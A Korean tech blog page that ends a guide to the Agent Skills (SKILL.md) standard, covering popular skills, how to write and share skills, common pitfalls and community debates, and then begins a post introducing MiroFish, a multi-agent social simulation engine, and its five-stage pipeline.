2. Planning with Files — Manus 스타일 파일 기반 작업 계획

저장소: github.com/OthmanAdi/planning-with-files 16,151

버전: v2.18.2, 96.7% pass rate (출처: GitHub README)

지원 플랫폼: 16개

Manus가 사용하는 방식에서 영감을 받은 스킬이다. 핵심 아이디어는 간단하다: Context Window = RAM, Filesystem = Disk. AI 에이전트가 작업 계획과 진행 상황을 파일에 저장해두면, 컨텍스트가 초기화되더라도 파일을 읽어 이어서 작업을 계속할 수 있다.

생성되는 파일

task_plan.md: 전체 작업 계획 및 단계 분해
findings.md: 조사/리서치 결과 누적 저장
progress.md: 현재까지의 진행 상황 추적

내장 Hooks (3종)

PreToolUse, PostToolUse, Stop — 워크플로우 각 단계에서 자동으로 파일 업데이트

3. Superpowers — 7단계 개발 워크플로우 올인원

저장소: github.com/obra/superpowers 86,879

포함 스킬: 14개 (Chrome DevTools Protocol 포함 시 별도 저장소: obra/superpowers-chrome 204)

AI 코딩 에이전트를 위한 완전한 개발 워크플로우를 제공하는 스킬 모음이다. 단순한 "코드 짜줘" 수준을 넘어, brainstorming부터 최종 마무리까지 7단계를 구조화한다.

7단계 워크플로우

brainstorming: 접근 방식 탐색 및 아이디어 발산
git-worktrees: 병렬 개발을 위한 Git 워크트리 활용
writing-plans: 구체적인 구현 계획 수립
executing-plans: 계획 실행 및 구현
TDD: 테스트 주도 개발 패턴 적용
code-review: 코드 품질 검토
finishing: 최종 점검 및 정리

4. Humanizer — AI 문체 제거기

저장소: github.com/blader/humanizer 9,423

참고 자료: Wikipedia "Signs of AI writing" 가이드 기반

한국어 버전: devswha/oh-my-humanizer 23

AI가 작성한 글에는 특유의 패턴이 있다. Humanizer는 이 패턴들을 구체적으로 정의하고 제거하는 스킬이다.

제거 대상 주요 AI 패턴 (아래 6가지 포함, 전체 목록은 원본 저장소 참조)

과도한 의미 부여: 중요성·레거시·더 큰 트렌드를 지나치게 강조하는 패턴
promotional language: 마케팅 문구 같은 홍보성 표현
vague attributions: "전문가들에 따르면", "연구 결과" 같은 출처 불명 표현
em dash overuse: em dash(—) 남용
rule of three: 세 가지를 나열하는 패턴 남용
AI vocabulary: "delve into", "tapestry", "nuance" 같은 AI 특유 단어

한국어 사용자 참고: 한국어 버전인 devswha/oh-my-humanizer는 현재 23으로 규모는 작지만, 한국어 AI 문체 패턴을 제거하는 데 특화되어 있다. 영어 원본 스킬과 함께 참고해볼 만하다.

5. MCP Builder — MCP 서버 개발 가이드

저장소: github.com/anthropics/skills

제작: Anthropic 공식

MCP(Model Context Protocol) 서버를 직접 개발하고 싶은 사람을 위한 스킬이다. 설계 원칙부터 구현, 테스트까지 4단계로 안내한다.

Planning: MCP 서버의 목적과 노출할 도구/리소스 설계
Implementation: 실제 서버 코드 구현
Review & Test: MCP Inspector를 활용한 테스트 방법 가이드 포함
Evaluation: 품질 기준 검토 및 배포 준비

6. Superpowers-Chrome — 브라우저 자동화

저장소: github.com/obra/superpowers-chrome 204

기술: Chrome DevTools Protocol (CDP) 기반

Chrome DevTools Protocol을 사용해 AI 에이전트가 실제 Chrome 브라우저를 제어할 수 있게 해주는 스킬이다. Superpowers 스킬 패밀리의 브라우저 자동화 모듈이다.

수치 미확인 항목: 일부 커뮤니티 게시물에서 "Dev-Browser 3.3k" 수치가 언급되지만, 이는 확인이 어렵다. 위에 표기한 obra/superpowers-chrome 204는 2026-03-16 기준 직접 확인한 수치다. Dev-Browser라는 별도 저장소가 있다면 공식 출처를 직접 확인하기 바란다.

주요 스킬 한눈에 비교

위에서 소개한 스킬들을 한 표로 정리한다. GitHub Stars는 2026-03-16 기준이며 이후 변동될 수 있다.

스킬명	제작	GitHub Stars	주요 기능	설치 명령	대상 사용자
Frontend Design	Anthropic	94,479 (모음집)	AI 티 없애기, 독창적 UI 유도, 금지 폰트/색상 패턴 정의	`npx skills add frontend-design`	프론트엔드 개발자, 디자이너
Planning with Files	OthmanAdi	16,151	파일 기반 작업 계획, 컨텍스트 초기화 대응, Hooks 내장	`npx skills add planning-with-files`	장기 작업, 복잡한 리팩터링
Superpowers	obra	86,879	brainstorming→finishing 7단계 워크플로우, TDD, 코드 리뷰	`npx skills add superpowers`	풀스택 개발자, AI 코딩 에이전트 활용
Humanizer	blader	9,423	AI 문체 패턴 제거, em dash 남용·vague attributions 금지	`npx skills add humanizer`	테크 라이터, 마케터, 블로거
MCP Builder	Anthropic	94,479 (모음집)	MCP 서버 설계→구현→테스트→배포 4단계 가이드	`npx skills add mcp-builder`	MCP 서버 개발자
Superpowers-Chrome	obra	204	Chrome DevTools Protocol 기반 브라우저 자동화	`npx skills add superpowers-chrome`	E2E 테스트, 웹 스크래핑 자동화

설치 명령 안내: anthropics/skills의 스킬은 npx skills add anthropics/skills --skill <name> 형식이 권장 문법이다. 위 표의 짧은 슬러그 형식은 skills.sh에 등록된 경우 지원될 수 있으나, 정확한 명령어는 skills.sh에서 직접 확인하자.

5. 스킬 직접 만들기

남이 만든 스킬을 쓰는 것도 좋지만, 나만의 팀 컨벤션이나 반복 작업을 스킬로 만들어 두면 훨씬 강력하다. 아래는 복붙해서 바로 시작할 수 있는 최소 예시다.

최소 예시 — 커밋 메시지 작성 스킬

1단계: 디렉토리 만들기

# 개인 스킬로 설치
mkdir -p ~/.claude/skills/commit-helper

# 또는 크로스플랫폼 표준 경로
mkdir -p ~/.agents/skills/commit-helper

2단계: SKILL.md 작성

---
name: commit-helper
description: |
  Git 커밋 메시지를 작성할 때 활성화된다.
  Conventional Commits 형식을 따르고, 한국어로 작성하며,
  본문에 변경 이유를 포함한다.
  트리거: "커밋", "commit message", "git commit" 요청 시
license: MIT
metadata:
  version: 1.0.0
  author: your-name
---

# Commit Helper

Git 커밋 메시지를 Conventional Commits 형식에 맞게 작성하는 스킬이다.

## 형식

```
<type>(<scope>): <subject>

<body>

<footer>
```

## 타입 정의

- **feat**: 새 기능 추가
- **fix**: 버그 수정
- **docs**: 문서 변경
- **refactor**: 리팩터링 (기능 변화 없음)
- **test**: 테스트 추가/수정
- **chore**: 빌드, 의존성 등 기타

## 규칙

1. subject는 50자 이내, 명령형 동사로 시작 (한국어: "추가한다" 아닌 "추가")
2. body에는 "왜" 변경했는지 반드시 포함
3. 관련 이슈 번호는 footer에 "Closes #123" 형식으로

3단계: 즉시 테스트

# Claude Code 재시작 후 테스트
# "이 변경사항에 맞는 커밋 메시지 작성해줘"라고 입력하면
# commit-helper 스킬이 자동으로 활성화된다

스킬 작성 팁 5가지

description에 트리거 조건을 명시한다
에이전트는 Tier 1에서 description만 보고 스킬 활성화 여부를 결정한다. "어떤 상황에서 이 스킬을 써야 하는지"를 구체적으로 적어야 정확하게 호출된다.
SKILL.md 본문은 5,000 토큰 미만으로 유지한다
Tier 2 권장 상한선이다. 그 이상의 내용은 references/ 폴더로 분리하고 필요할 때만 참조하게 한다.
name은 소문자 영문자·숫자·하이픈만 사용한다
최대 64자 제한이 있다. 언더스코어(_)나 대문자는 표준에서 허용하지 않는다.
compatibility 필드로 지원 범위를 명확히 한다
scripts/ 폴더의 셸 스크립트가 macOS에서만 동작한다면, 그 사실을 compatibility에 적어야 한다.
팀 스킬은 프로젝트 루트의 .agents/skills/에 넣는다
개인 스킬은 ~/.claude/skills/ 또는 크로스플랫폼 표준 경로인 ~/.agents/skills/에, 팀 전체가 공유해야 하는 스킬은 프로젝트 루트의 .agents/skills/에 넣고 git에 커밋한다. Claude 전용 프로젝트라면 .claude/skills/도 가능하지만, 팀원이 다른 에이전트를 쓴다면 .agents/skills/가 더 범용적이다.

6. 스킬 찾는 곳

스킬을 찾을 수 있는 공식 경로가 세 곳 있다. 각각 역할이 다르기 때문에 상황에 맞게 활용한다.

1. skills.sh — Vercel이 만든 공식 디렉토리 + CLI

URL: https://skills.sh / CLI 저장소: github.com/vercel-labs/skills

Vercel Labs가 제작한 공식 스킬 디렉토리 사이트와 CLI 도구다. 브라우저에서 스킬을 검색할 수도 있고, 터미널에서 한 줄로 설치할 수도 있다.

# 스킬 검색 (키워드 검색 또는 인터랙티브 선택)
npx skills find frontend

# 스킬 설치 — GitHub 저장소 지정 방식 (권장)
npx skills add anthropics/skills --skill frontend-design

# 설치된 스킬 목록
npx skills list

# 스킬 제거
npx skills remove frontend-design

2. anthropics/skills — Anthropic 공식 스킬 저장소

URL: github.com/anthropics/skills — 94,479 (2026-03-16 기준)

Anthropic이 직접 관리하는 공식 스킬 저장소다. Frontend Design, MCP Builder 등 Anthropic이 검증한 스킬들이 여기에 있다. Claude Code에 최적화되어 있지만 오픈 표준을 따르기 때문에 다른 에이전트에서도 사용 가능하다.

3. agentskills.io — 표준 공식 문서

URL: https://agentskills.io / 표준 저장소: github.com/agentskills/agentskills

SKILL.md 표준의 공식 문서 사이트다. 스킬 설치보다는 표준 스펙 자체를 이해하거나, 직접 스킬을 만들 때 참고한다. 지원 플랫폼 목록(32개+)도 여기서 확인할 수 있다.

skillsmp.com (커뮤니티 마켓플레이스): 커뮤니티 보고 기준으로 270,000개 이상의 오픈소스 스킬이 인덱싱되어 있으며 Claude Code, ChatGPT, Codex 등과 호환된다고 알려져 있다. 다만 접근 안정성 및 수치의 정확성은 직접 확인이 필요하다. (skillsmp.com / 2026-03-19 기준 커뮤니티 보고)

7. 실제 사용 시나리오 3가지

개념을 알았으면 실제로 어떻게 쓰는지가 중요하다. 현업에서 자주 만나는 세 가지 상황을 구체적으로 살펴본다.

시나리오 A — Claude Code에서 만든 스킬을 Codex CLI로 이전하기

Claude Code로 한 달 동안 써온 커스텀 커밋 메시지 스킬이 있다. OpenAI Codex CLI로 프로젝트를 옮기게 됐다. 스킬을 다시 만들어야 할까?

상황: 기존 스킬이 ~/.claude/skills/commit-helper/SKILL.md에 있다.

# 방법 1: 표준 경로로 이동 후 양쪽에 심볼릭 링크
mv ~/.claude/skills/commit-helper ~/.agents/skills/commit-helper

# Claude Code용 링크 (기존 경로 복원)
ln -s ~/.agents/skills/commit-helper ~/.claude/skills/commit-helper

# Codex CLI는 ~/.agents/skills/를 직접 읽으므로 추가 작업 불필요
# ~/.agents/skills/commit-helper/SKILL.md가 있으면 바로 인식

# 방법 2: npx skills CLI로 재설치 (클라우드 저장한 경우)
npx skills add commit-helper

핵심: SKILL.md 파일 자체는 그대로다. 에이전트만 바뀌었을 뿐이고, 오픈 표준이기 때문에 수정 없이 바로 작동한다.

시나리오 B — 팀 레포에 .agents/skills/로 스킬 공유하기

팀 전체가 같은 코드 리뷰 기준을 써야 한다. 각자가 개별적으로 스킬을 설치하면 버전이 달라질 수 있다. 프로젝트 레포에 스킬을 커밋해서 공유하는 방법이다.

# 프로젝트 루트에 스킬 디렉토리 생성
mkdir -p .agents/skills/code-review

# SKILL.md 작성
touch .agents/skills/code-review/SKILL.md

# git에 커밋 (팀 전체가 자동으로 동기화)
git add .agents/skills/
git commit -m "feat: 팀 코드 리뷰 스킬 추가"

팀원이 레포를 클론하거나 pull 받으면 .agents/skills/code-review/SKILL.md가 자동으로 반영된다. Claude Code, Codex CLI, Gemini CLI 등 표준 지원 에이전트라면 프로젝트 로컬 스킬을 자동으로 인식한다.

팀 스킬 폴더 구조 예시

my-project/
├── src/
├── .agents/
│   └── skills/
│       ├── code-review/    ← 팀 코드 리뷰 기준
│       │   └── SKILL.md
│       ├── commit-style/   ← 커밋 메시지 컨벤션
│       │   └── SKILL.md
│       └── test-guide/     ← 테스트 작성 가이드
│           └── SKILL.md
└── README.md

시나리오 C — Frontend Design 스킬 활성화 후 실제로 달라지는 점

"랜딩 페이지 만들어줘"라고 요청했을 때, Frontend Design 스킬이 있는 경우와 없는 경우의 차이를 정리한다.

스킬 없을 때 (AI 기본값)	Frontend Design 스킬 있을 때
Inter 또는 Roboto 폰트 자동 선택	Inter·Roboto 금지, 요청한 디자인 방향에 맞는 폰트 선택
흰 배경 + 파란색 그라디언트 버튼	그라디언트 금지, brutalist·editorial 등 방향에 맞는 색 체계 사용
카드 UI + 그림자 과다 사용	카드 남용 억제, 선택한 디자인 방향의 레이아웃 패턴 적용
모든 UI가 비슷해 보임 ("AI가 만든 티")	의도적으로 구분되는 디자인 방향 유지

참고: 위 Before/After는 Frontend Design 스킬 SKILL.md에 명시된 규칙을 기반으로 정리한 것이다. 실제 결과는 모델 버전과 프롬프트에 따라 다를 수 있다.

8. 주의사항 — 흔한 함정 4가지

함정 1 — SKILL.md 본문이 너무 크면 토큰을 낭비한다

Tier 2에서 SKILL.md 전체가 로딩된다. 본문이 10,000 토큰이 넘으면 스킬이 활성화될 때마다 그만큼의 컨텍스트가 소비된다. 5,000 토큰 미만을 권장 상한으로 유지하고, 긴 참고 자료는 references/ 폴더로 분리해서 Tier 3 온디맨드 로딩을 활용한다.

함정 2 — 플랫폼별 경로가 달라 "왜 안 되지?" 하는 경우

Claude Code는 ~/.claude/skills/, Cursor는 ~/.cursor/skills/를 각각 본다. 스킬을 ~/.agents/skills/에 두고 각 에이전트 경로에 심볼릭 링크를 거는 방식, 또는 npx skills add을 쓰면 이 문제를 피할 수 있다.

함정 3 — description이 모호하면 스킬이 엉뚱한 타이밍에 활성화된다

에이전트는 Tier 1에서 description 텍스트만 보고 스킬 활성화 여부를 결정한다. "코드를 개선할 때 사용"처럼 범위가 넓은 description은 관련 없는 요청에도 스킬이 켜지거나, 반대로 꼭 필요한 순간에 켜지지 않는 경우가 생긴다. 구체적인 트리거 조건을 명시하는 것이 중요하다. ("git commit 메시지 작성 요청 시 활성화" vs "코드 작업 시 활성화")

함정 4 — name 필드에 언더스코어나 대문자를 쓰면 표준 위반

name 필드는 소문자 영문자·숫자·하이픈(-)만 허용한다. commit_helper(언더스코어), CommitHelper(대문자)는 표준 위반이다. commit-helper처럼 하이픈을 사용한다. 표준을 엄격하게 지키는 에이전트에서는 로딩 자체를 거부할 수 있다.

2026년 3월 커뮤니티 최신 동향

스킬명	설명
`supabase-skill`	Supabase MCP 연동 및 데이터베이스 작업 자동화
`session-wrap-up`	세션 종료 시 작업 내용 자동 요약 및 다음 액션 정리
`eileen`	능동적 요구사항 도출 — 모호한 지시를 받으면 먼저 질문해서 정확한 요구사항을 끌어내는 스킬
`agent-notify`	작업 완료/실패 시 Slack, Discord, 이메일 등 크로스 플랫폼 알림 발송
`skill-security-scanner`	SKILL.md 파일의 보안 취약점 및 과도한 권한 설정 자동 감지
`context7-cache`	Context7 MCP 조회 결과를 캐싱해 반복 토큰 비용 절감

npx skills v1.1.1 — find · update 신기능 추가

[최근] Vercel이 2026년 2월 skills v1.1.1을 릴리스하며 두 가지 유용한 명령어를 추가했다. (출처: InfoQ, 2026-02)

# 대화형 스킬 탐색 (v1.1.1 신기능) — 검색어로 스킬 목록 브라우징
npx skills find

# 설치된 모든 스킬 일괄 업데이트 (v1.1.1 신기능)
npx skills update

# 기존 명령어 — GitHub 저장소에서 바로 설치
npx skills add vercel-labs/agent-skills

skill-creator — 스킬 자체 평가·벤치마크 기능 추가

[최근] Anthropic이 2026년 3월 skill-creator 스킬을 업데이트하며 스킬이 제대로 작동하는지 자동으로 테스트하고 개선하는 eval(평가) 기능을 추가했다. 스킬 정의 → 초안 생성 → 자동 벤치마크 → 문제 발견 시 자동 수정 사이클이 가능해진 것이다. (출처: adwaitx.com)

설치: npx skills add anthropics/skills --skill skill-creator
"스킬을 만들었는데 제대로 작동하는지 모르겠다"는 문제를 해결하는 도구다. 만든 스킬을 바로 eval로 검증할 수 있다.

커뮤니티 핵심 논쟁 — AGENTS.md vs SKILL.md

쟁점 1 — 스킬 자동 활성화 신뢰성 문제

커뮤니티 사용자 SOLAR_FIELDS: "에이전트가 적절한 시점에 스킬을 자동으로 활성화하지 않는 경우가 많다 — 조용한 실패(silent failure) 문제". 이는 현재 가장 많이 보고되는 불만 사항이다.

쟁점 2 — AGENTS.md 방식과의 성능 차이

Vercel 팀이 AGENTS.md 방식(압축 문서 인덱스)이 일부 평가에서 SKILL.md보다 높은 성공률(79% → 100%)을 보였다고 보고. 반론으로 OJFord: "AGENTS.md는 판단 없이 항상 컨텍스트에 존재하고, SKILL.md는 언제 호출할지 판단·비동기 로딩 등이 추가로 필요하다 — 설계 철학이 다를 뿐".

실용 팁 — description 표현 방식과 인스트럭션 한도

[최근] HN 사용자 postalcoder가 실무 테스트에서 발견한 중요한 팁이다. description 작성 방식이 스킬 활성화율에 직접 영향을 미친다.

명령형 표현 (낮은 활성화율)	선언형 표현 (높은 활성화율)
`You must follow these commit rules when...` (3번 중 0번 활성화)	`I will follow these commit rules when...` (3번 중 3번 활성화)

AgentLinter 분석 결과 — 150개 인스트럭션 한도

커뮤니티에서 공유된 AgentLinter 도구가 500개 이상의 프로덕션 워크스페이스를 분석한 결과, 인스트럭션(스킬 포함)이 150개를 넘으면 에이전트 성능이 약 40% 저하되는 경향이 관찰됐다고 보고됐다. 스킬은 작은 단위로 분리해서 필요한 것만 설치하는 방식을 권장한다. (출처: SmartScope 가이드 / 커뮤니티 보고 기반으로, 독립 검증 필요)

SkillsBench 논문 — AI 자체 생성 스킬 vs 큐레이션 스킬

[최근] 2026년 2월 arXiv에 공개된 SkillsBench 논문 (arXiv:2602.12670)이 HN에서 큰 논쟁을 일으켰다. 86개 태스크, 11개 도메인에 걸쳐 스킬 효과를 측정한 결과다.

큐레이션 스킬(사람이 만든 스킬): 기준 대비 평균 +16.2%p 성능 향상. 특히 헬스케어·금융 등 LLM이 약한 도메인에서 효과 극대화 (+51.9%p).

AI 자체 생성 스킬: 평균적으로 효과 없음. 인터넷에 유통되는 일반 사용자 생성 스킬 평균 품질 점수는 12점 만점에 6.2점.

실용적 시사점: AI에게 "SKILL.md 만들어줘"라고 하는 것보다, 실제 작업을 여러 번 완료한 뒤 그 경험을 토대로 스킬을 정제하는 방식이 훨씬 효과적이다. 스킬의 퀄리티는 생성 방식이 아닌 검증 반복 횟수에 달려 있다.

9. 결론

Agent Skill(SKILL.md) 표준은 특정 회사의 독점 기술이 아니다.

Anthropic이 씨앗을 심었고, Vercel이 CLI를 만들었으며, 커뮤니티가 스킬을 만들어 가는 크로스플랫폼 오픈 표준이다.

오늘 배운 핵심 정리

Agent Skill은 Claude 전용이 아니다 — Anthropic이 2025-12 오픈 표준으로 공개, 32개+ 플랫폼 지원
SKILL.md = YAML frontmatter + Markdown 본문 — name(필수, 64자), description(필수, 1024자) 두 필드면 최소 스킬 완성
Progressive Disclosure 3단계 — Tier 1(name+desc 로딩), Tier 2(전체 본문), Tier 3(scripts/references/assets)
크로스플랫폼 표준 경로는 ~/.agents/skills/ — 여기에 저장하고 각 에이전트 경로로 심볼릭 링크, 또는 npx skills add이 자동 처리
스킬 찾기 — skills.sh(CLI), github.com/anthropics/skills(공식), agentskills.io(표준 문서)
팀 공유는 .agents/skills/ 커밋 — 프로젝트 루트에 넣고 git에 커밋하면 팀 전체 자동 동기화
함정 주의 — 본문 5,000 토큰 미만 유지, description 트리거 조건 명확히, name은 소문자+하이픈만

지금 당장 해볼 수 있는 것 3가지

읽고 끝내지 말고, 바로 하나씩 시도해보자.

① npx skills add로 스킬 하나 설치해보기 (1분)
인기 스킬 하나를 지금 바로 설치해서 에이전트가 어떻게 반응하는지 확인한다.

npx skills add anthropics/skills --skill frontend-design

② 나만의 첫 SKILL.md 만들기 (5분)
반복하는 작업 하나를 골라 name과 description만 채우면 스킬이 완성된다. 섹션 5의 commit-helper 예시를 복붙해서 팀 컨벤션에 맞게 수정하면 된다.

mkdir -p ~/.agents/skills/my-skill
touch ~/.agents/skills/my-skill/SKILL.md
# name, description 두 줄로 시작 → 에이전트 재시작하면 바로 인식

③ 팀 레포에 .agents/skills/ 디렉토리 만들기 (3분)
팀 전체가 쓰는 코드 리뷰 기준이나 커밋 스타일을 스킬로 만들어 레포에 커밋하면, 팀원 누구나 어떤 에이전트를 쓰더라도 동일한 기준을 자동으로 적용받는다.

어떤 AI 에이전트를 쓰든, 오늘 만든 스킬은 내일 다른 에이전트에서도 그대로 쓸 수 있다. 도구는 바뀌어도 지식은 남는다. 그게 오픈 표준의 힘이다.

더 자세한 내용은 아래 공식 출처에서 확인할 수 있다.

agentskills.io — 공식 표준 문서 (출처: 공식 사이트)
github.com/agentskills/agentskills — 표준 저장소 Apache 2.0 (출처: GitHub)
github.com/anthropics/skills — Anthropic 공식 스킬 모음 (출처: GitHub)
skills.sh — Vercel Labs 스킬 디렉토리 + npx CLI (출처: 공식 사이트)

MiroFish 뜯어보기(1) - 이론편 : 문서 하나로 수천 명의 가상 인간을 시뮬레이션하는 집단 지능 엔진

갓대희 — Wed, 18 Mar 2026 18:30:31 +0900

안녕하세요! 갓대희 입니다.

오늘은 2026년 3월 GitHub 글로벌 트렌딩 1위를 찍으며 화제가 된 집단 지능 시뮬레이션 엔진, MiroFish를 살펴보려고 한다.

문서 하나를 넣으면 수천 명의 가상 인간을 만들어내고, 이 사람들이 서로 대화하고, 논쟁하고, 편을 바꾸면서 "앞으로 어떤 일이 벌어질지"를 시뮬레이션하는 도구다.

무엇보다 놀라운점은 대학생이 10일 만에 만들었다고 한다. CAMEL-AI(NeurIPS 2023)와 OASIS(arXiv 2024) 오픈소스 생태계 위에 서 있었기에 가능한 속도였고, 이 가능성에 24시간 만에 약 60억 원의 투자가 결정되었다.

해당 글을 기반으로 실제 실습한 내용은 다음 포스팅을 참고 부탁 드립니다.

MiroFish 뜯어보기(2) - 실습편 : 문서 하나로 수천 명의 가상 인간을 시뮬레이션하는 집단 지능 엔진 사용해보기(mcp vs cli)

MiroFish 소개
- 프로젝트 개요
- 핵심 수치
- 왜 지금 MiroFish인가?
만든 사람: 궈항장과 바이브코딩
- BettaFish에서 MiroFish까지
- 바이브코딩이란
기술 아키텍처: 5단계 파이프라인
- 1단계: 지식 그래프 구축
- 2단계: 환경 설정
- 3단계: 병렬 시뮬레이션
- 4단계: 보고서 생성
- 5단계: 심층 인터랙션
학술적 기반: CAMEL-AI와 OASIS
- CAMEL-AI 프레임워크
- OASIS: 100만 에이전트 시뮬레이션
- 기술 스택 정리
God's Eye View: 시뮬레이션 중 변수 주입
실제 사용 사례
- 홍루몽: 200년 된 문학 미스터리
- 금융 시장 시뮬레이션
- 여론 예측
천톈차오와 "슈퍼 개인" 시대
- 천톈차오는 누구인가
- 슈퍼 개인 이론
- 24시간 만에 결정된 투자
한계점과 주의사항
- 학술적으로 밝혀진 한계
- 실무적 한계
경쟁 프레임워크 비교
커뮤니티 반응과 파생 프로젝트
- 글로벌 반응
- 한국어 포크
- 오프라인 포크
설치 및 시작하기
결론

1. MiroFish 소개

프로젝트 개요

MiroFish는 "간결하고 범용적인 집단 지능 엔진으로, 세상의 모든 것을 예측한다"를 내세우는 오픈소스 프로젝트이다.

핵심 아이디어는 이렇다. 뉴스 기사, 정책 문서, 소설, 재무 보고서 같은 시드 자료를 입력하면, MiroFish가 자료 안의 인물·기관·관계를 추출해 수천 명의 가상 인간(AI 에이전트)을 생성한다. 이 에이전트들은 각각 고유한 성격, 의견 편향, 영향력, 장기 기억을 갖고 가상의 소셜 미디어에서 자유롭게 대화하고, 논쟁하고, 설득하고, 편을 바꾼다. 이 과정에서 나타나는 창발적 패턴(emergent patterns)을 분석해 미래 시나리오를 들여다본다.

한마디로, "미래를 미리 돌려보는 디지털 샌드박스"다.

핵심 수치

항목	내용
GitHub	github.com/666ghj/MiroFish
Stars / Forks	~32,700 / ~4,100 (2026년 3월 18일 기준)
라이선스	AGPL-3.0
언어	Python (백엔드) + Vue.js (프론트엔드)
현재 버전	v0.1.2 (2026-03-07)
시뮬레이션 엔진	OASIS (CAMEL-AI) — 최대 100만 에이전트 지원
GitHub 트렌딩 1위	2026년 3월 7일
투자	3,000만 위안 (~60억 원) — 성다그룹 천톈차오

왜 지금 MiroFish인가?

MiroFish가 2026년 3월에 폭발적으로 주목받은 것은 우연이 아니다. 여러 거시적 흐름이 동시에 맞물린 결과이다.

1. 2026년 = "에이전트 시스템 원년"

LLM API 비용이 급격히 하락하고(GPT-4 대비 GPT-4o mini는 약 100배 저렴), CAMEL-AI·LangGraph·CrewAI 같은 멀티 에이전트 프레임워크가 성숙하면서, 수천 개의 에이전트를 동시에 돌리는 시뮬레이션이 처음으로 경제적으로 가능해진 해다. 1년 전에는 같은 시뮬레이션에 수백 달러가 들었을 작업이 이제 5~25달러로 가능하다.

2. 패러다임 전환: 모델 중심 → 시뮬레이션 중심

2023~2025년의 AI 트렌드는 "더 큰 모델, 더 긴 컨텍스트"였다. 2026년 들어 흐름이 바뀌고 있다. 단일 모델에 질문을 던지는 대신, 수천 개의 에이전트를 사회처럼 구성해서 창발적 결과를 관찰하는 접근이 부상하고 있다. MiroFish는 이 "시뮬레이션 중심 AI" 패러다임의 가장 눈에 띄는 사례다.

3. 프로토콜 표준화: A2A + MCP

Google이 2025년 발표한 A2A(Agent-to-Agent) 프로토콜과 Anthropic의 MCP(Model Context Protocol)가 산업 표준으로 수렴하면서, 에이전트 간 상호운용성 인프라가 갖춰지기 시작했다. MiroFish가 의존하는 CAMEL-AI 생태계도 이 표준들을 지원하며, 에이전트 시뮬레이션의 기반 인프라가 급속히 성숙하고 있다.

4. "슈퍼 개인" 패러다임의 현실 검증

천톈차오가 약 60억 원을 건 것은 단순히 소프트웨어에 대한 투자가 아니다. "1인이 AI를 지렛대 삼아 기업을 대체할 수 있다"는 테제에 대한 실증 베팅이다. 00후 대학생이 10일 만에 만든 도구가 GitHub 1위를 달성한 사건 자체가, 이 패러다임이 이론이 아니라 현실임을 보여주는 증거로 해석되고 있다.

2. 만든 사람: 궈항장과 바이브코딩

BettaFish에서 MiroFish까지

궈항장, 온라인 닉네임 BaiFu. 베이징우편전신대학교(BUPT) 4학년 학생이다. 중국 미디어에서 "00후"로 지칭되는 2000년 이후 출생 세대다.

그의 첫 프로젝트 BettaFish는 30개 이상 소셜 플랫폼의 수백만 댓글을 분석하는 멀티 에이전트 여론 분석 도구다. 2025년 말 GitHub 글로벌 트렌딩에 올라 일주일 만에 스타 2만 개를 돌파했고, 현재 약 39,300 스타를 기록 중이다.

(출처: BettaFish GitHub)

이 프로젝트가 성다그룹 창업자 천톈차오의 눈에 띄었고, 궈항장은 인턴으로 합류하게 된다. 그리고 인턴 기간 중 10일 만에 MiroFish를 만들었다. 본인 표현으로는 "바이브코딩(Vibe Coding)" — 빠르게, 직관적으로, AI 코딩 도구의 도움을 받아 개발하는 방식이다.

기여자 분석

GitHub 기여 기록을 보면, 전체 219개 커밋 중 218개가 궈항장(666ghj) 본인의 커밋이다. 나머지 1개는 cursoragent — AI 코딩 도구 Cursor의 자동 커밋이다. 말 그대로 한 명이 만든 프로젝트다.

바이브코딩이란

바이브코딩(Vibe Coding)은 OpenAI 공동창업자이자 전 Tesla AI 리더인 안드레이 카르파시(Andrej Karpathy)가 2025년 2월 2일 X(트위터)에서 처음 사용한 용어다.

"There's a new kind of coding I call 'vibe coding', where you fully give in to the vibes, embrace exponentials, and forget that the code even exists."

— Andrej Karpathy, 2025년 2월 2일 (원문, 조회수 450만+)

LLM 기반 코딩 도구(Cursor, Claude Code 등)에 의존하며, 코드를 직접 읽거나 디프를 확인하지 않고, AI가 생성한 코드를 "Accept All"하는 방식으로 빠르게 프로토타입을 만드는 개발 스타일이다. Collins Dictionary는 이 용어를 2025년 올해의 단어로 선정했다.

(출처: Collins Dictionary WOTY 2025 공식 페이지, Wikipedia - Vibe coding)

바이브코딩에 대한 반론도 있다

PSPDFKit 창업자이자 iOS 개발자인 Peter Steinberger는 "바이브코딩은 AI 기반 개발에 대한 비하 표현(slur)"이라고 반박했다(조회수 16만+). 그는 "에이전틱 엔지니어링(agentic engineering)"이라는 표현을 선호하며, AI 도움을 받더라도 아키텍처 설계, 디버깅, 품질 관리는 여전히 개발자의 역량이 필요하다고 주장한다. 궈항장의 경우도 단순히 "Accept All"만 한 것이 아니라, BettaFish에서 쌓은 멀티 에이전트 아키텍처 경험과 CAMEL-AI/OASIS 생태계에 대한 깊은 이해가 바탕이 되었다.

3. 기술 아키텍처: 5단계 파이프라인

MiroFish는 5단계 순차 파이프라인으로 돌아간다. 각 단계가 이전 단계 결과를 받아 변환하고 다음으로 넘긴다.

1단계: 지식 그래프 구축 (Graph Construction)

사용자가 업로드한 시드 자료(뉴스 기사, 정책 문서, 소설 등)에서 Zep Cloud의 지식 그래프 API를 사용해 인물, 기관, 관계를 추출한다. 단순한 텍스트 처리가 아니라 구조화된 지식 그래프를 만들어 각 주체의 연결, 이해관계, 압력 구조를 매핑한다. 장기 기억은 Zep Cloud에 저장된다.

ex) 내가 실습했던 실제 결과물

2단계: 환경 설정 (Environment Setup)

환경 에이전트가 지식 그래프를 바탕으로 수백~수천 개의 에이전트 페르소나를 자동 생성한다. 각 에이전트는 다음을 갖는다:

고유한 배경 스토리: 원본 자료에서 추출한 캐릭터 설정
성격 유형과 행동 규칙: 낙관적/비관적, 공격적/신중한 등
사회적 관계: 지식 그래프에서 매핑된 관계망
독립된 장기 기억: Zep Cloud를 통해 지속
의견 편향과 반응 속도: 에이전트마다 다르게 설정
영향력 수준: 오피니언 리더부터 일반 참여자까지

Stanford Generative Agents와의 차이

2023년 Stanford의 Generative Agents(UIST 2023 Best Paper)가 25명의 에이전트로 "기억-반성-계획" 루프를 증명했다면, OASIS/MiroFish는 같은 개념을 100만 에이전트 규모로 확장하고, 문서에서 자동으로 에이전트를 생성하며, 듀얼 소셜 플랫폼 시뮬레이션을 추가한 것으로 볼 수 있다.

ex) https://goddaehee.tistory.com/556 결과 예시

3단계: 시뮬레이션 시작 (Begin Simulation)

핵심 단계다. OASIS 프레임워크를 사용해 두 개의 소셜 미디어 플랫폼에서 동시에 병렬 시뮬레이션을 수행한다:

트위터형 플랫폼: 짧은 메시지, 방송형 상호작용
레딧형 플랫폼: 스레드 기반 토론, 커뮤니티 구조

